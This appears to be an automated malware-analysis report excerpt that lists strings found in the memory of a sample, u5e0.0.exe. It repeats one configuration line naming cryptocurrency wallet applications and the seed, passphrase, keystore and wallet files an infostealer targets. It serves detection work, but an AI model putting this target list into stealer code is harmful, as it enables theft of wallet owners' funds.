Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: Jaxx Liberty
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local 